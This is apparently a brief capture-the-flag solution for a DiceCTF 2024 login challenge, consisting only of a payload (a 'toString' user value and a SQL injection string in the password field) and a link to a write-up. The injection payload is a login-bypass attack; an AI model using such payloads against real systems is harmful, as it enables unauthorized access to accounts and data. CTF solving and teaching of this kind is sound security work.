**Payload**

user parameter: `toString`

pass parameter: `' UNION SELECT 1 as id;/*`

Write-up: https://blog.effectrenan.com/dicectf-2024-funnylogin/